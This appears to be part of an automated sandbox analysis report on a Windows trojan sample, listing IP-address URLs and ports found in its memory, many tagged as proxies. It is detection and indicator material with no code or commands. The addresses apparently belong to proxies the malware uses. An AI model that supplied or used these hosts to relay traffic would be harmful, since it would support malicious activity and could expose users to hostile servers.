Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.109.113.97:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.165.0.137:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.165.0.137:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.99.144.43
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.99.144.43://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.99.144.43x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.136.15
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.136.15://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.136.15:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.188.236.47
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.188.236.47://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.188.236.47:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C676C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.246.129.129:2052
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.246.129.129:2052://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.134.10.174:18351
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.134.10.174:18351://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.134.10.174:18351x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.187.214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.187.214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.187.214:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.243.18
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.243.18://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.243.18:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.148.78:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.148.78:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75B8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.89.86:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.89.86:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.89.86:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.89.86:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.147.86:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.147.86:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.197.163:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.197.163:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.197.163:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.159.154.43:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.159.154.43:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.160.238.106:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.160.238.106:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC28000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.174.152.226:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.174.152.226:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.174.96.38:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.174.96.38:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.184.212.3:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.184.212.3:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.190.233.61:36926
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.190.233.61:36926://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.203.83.66:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.203.83.66:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.204.63.118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.204.63.118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.204.63.118:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.207.187.178
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.207.187.178://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.207.187.178:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.214:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.214:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.69:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.69:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8483000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.223.145:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.223.145:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.234.116:37259
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.234.116:37259://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.225.229.55:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.225.229.55:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.230.216.70
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.230.216.70://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.230.216.70:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.231.37.76:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.231.37.76:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.242.116.150:50003
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.242.116.150:50003://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.242.69.196:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.242.69.196:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.243.15.171:18
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.243.15.171:18://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.254.53.70:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.254.53.70:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.145.219:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.145.219:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1973
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1973://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.233:1975
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.233:1975://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.234:1975
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.234:1975://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.186:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.186:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.188:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.188:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.189:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.254.189:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.66.228:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.66.228:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.25.129:6060
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.25.129:6060://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.46.1:6060
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.46.1:6060://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A56000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.6.30:6060
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.6.30:6060://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C778C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.6.45:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.57.6.45:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.232.18:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.232.18:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.234.231:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.234.231:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.235.216:23500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.235.216:23500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.26.210:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.26.210:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.0.222:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.0.222:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.103.19:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.103.19:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.160.171:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.160.171:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.162.73:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.162.73:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C907C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.162.76:1974
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.162.76:1974://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD74000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.224.91:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.224.91:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.227.98:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.227.98:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.35:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.35:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.35:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.35:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1981://proxy
